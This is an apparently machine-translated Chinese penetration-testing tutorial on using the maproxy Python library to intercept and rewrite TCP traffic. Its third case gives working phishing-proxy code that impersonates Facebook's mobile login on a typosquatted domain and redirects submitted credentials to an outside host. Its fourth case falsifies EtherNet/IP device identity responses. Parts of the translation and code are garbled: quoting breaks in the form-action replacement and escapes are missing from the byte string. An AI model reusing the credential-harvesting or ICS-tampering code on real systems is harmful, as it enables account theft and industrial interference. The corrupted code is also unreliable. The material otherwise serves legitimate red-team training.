動態處理網路數據

文章的翻譯是在課程開始前夕準備的 “滲透測試。 滲透測試實踐》.

動態處理網路數據

摘要

各種類型的安全評估,從定期滲透測試和紅隊操作到駭客 IoT/ICS 設備和 SCADA,都涉及使用二進位網路協議,即本質上攔截和修改客戶端和目標之間的網路資料。嗅探網路流量並不是一項困難的任務,因為我們有Wireshark、Tcpdump 或Scapy 等工具,但修改似乎是一項更勞力密集的任務,因為我們需要某種介面來讀取網路數據、過濾數據、更改資料它幾乎即時地將其發送回目標主機。此外,如果這樣的工具能夠自動處理多個並行連接並且可以使用腳本進行自訂,那就太理想了。

有一天我發現了一個工具叫 maproxy,文檔很快就讓我明白了 maproxy – 正是我所需要的。這是一個相當簡單、通用且易於配置的 TCP 代理。我在幾個相當複雜的應用程式上測試了這個工具,包括 ICS 設備(產生大量資料包),看看它是否可以處理許多並行連接,並且該工具性能良好。

本文將向您介紹如何使用 maproxy.

Обзор

工具 maproxy 基於Tornado,一個流行且成熟的Python非同步網路框架。

一般來說,它可以以多種模式運作:

  • TCP:TCP – 未加密的 TCP 連線;
  • TCP:SSL и SSL:TCP – 單向加密;
  • SSL:SSL – 雙向加密。

它作為一個圖書館出現。為了快速入門,您可以使用反映主要內容的範例文件 函式庫函數:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

案例 1 – 簡單的雙向代理

基於 tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

默認情況下, ProxyServer() 有兩個參數 - 連接位置和目標連接埠。 server.listen() 採用一個參數 - 用於偵聽傳入連線的連接埠。

執行腳本:

# python tcp2tcp.py

為了運行測試,我們將透過代理腳本連接到本地 SSH 伺服器,該腳本監聽 2222/tcp 連接埠並連接到標準端口 22/tcp SSH 伺服器:

動態處理網路數據

歡迎橫幅通知您我們的範例腳本已成功代理網路流量。

案例2——數據修改

另一個演示腳本 logging_proxy.py 非常適合與網路數據互動。文件中的註解描述了您可以修改以實現目標的類別方法:

動態處理網路數據

最有趣的是這裡:

  • on_c2p_done_read – 攔截從客戶端到伺服器的整個過程中的資料;
  • on_p2s_done_read - 顛倒了。

讓我們嘗試更改伺服器傳回給客戶端的 SSH 橫幅:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

執行腳本:

動態處理網路數據

正如您所看到的,客戶端被誤導了,因為他的 SSH 伺服器名稱已更改為 «DumnySSH».

動態處理網路數據

案例3—簡單的釣魚網頁

使用此工具的方法有無數種。這次讓我們專注在紅隊營運方面更實際的事情。我們來模仿一下登陸頁面 m.facebook.com 並使用故意拼字錯誤的自訂網域,例如, m.facebok.com。出於演示目的,我們假設該網域是由我們註冊的。

我們將與受害者代理建立未加密的網路連接,並將 SSL 串流傳輸至 Facebook 伺服器(31.13.81.36)。為了讓這個範例正常運作,我們需要取代 HTTP 主機標頭並注入正確的主機名,我們還將停用回應壓縮,以便我們可以輕鬆存取內容。最終我們將替換 HTML 表單,以便將登入憑證傳送給我們而不是 Facebook 的伺服器:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/zh-TW/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

概括如下:

動態處理網路數據

正如您所看到的,我們成功地替換了原始網站。

案例 4 – 移植乙太網路/IP

我從事工業設備和軟體 (ICS/SCADA) 工作已經有一段時間了,例如可程式控制器 (PLC)、I/O 模組、驅動器、繼電器、梯形圖編程環境等等。這個案例適合喜歡工業產品的人。破解此類解決方案涉及積極使用網路協定。在下面的範例中,我想展示如何修改 ICS/SCADA 網路流量。

為此,您將需要以下內容:

  • 網路嗅探器,例如Wireshark;
  • 乙太網路/IP或只是SIP設備,您可以使用Shodan服務找到它;
  • 我們的腳本是基於 maproxy.

首先,讓我們看看 CIP(通用工業協定)的典型識別反應是什麼樣的:

動態處理網路數據

設備識別是使用乙太網路/IP 協定完成的,該協定是工業乙太網路協定的增強版本,封裝了 CIP 等控制協定。我們將更改螢幕截圖中可見的突出顯示的 ID 名稱 “用於乙太網路的 NI-IndComm” 使用我們的代理腳本。我們可以重複使用該腳本 logging_proxy.py 並類似地修改類別方法 on_p2s_done_read,因為我們希望在客戶端上顯示不同的身份名稱。

代碼:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

本質上,我們兩次請求設備識別,第二次回應是原始回應,第一次回應是動態修改的。

最後

在我看來 maproxy 一個方便簡單的工具,也是用Python寫的,所以我相信你也可以從使用它中受益。當然,還有更複雜的工具用於處理和修改網路數據,但它們也需要更多的關注,並且通常是針對特定用例創建的,例如 村名, Modlishka邪惡的吉克斯 對於類似第三種的情況,或者 烤麵包片 對於最後一種情況。無論如何,在幫助下 maproxy 您可以快速實現攔截網路資料的想法,因為範例腳本非常清晰。

測試 Windows AD 中的驗證機制

來源: www.habr.com

添加評論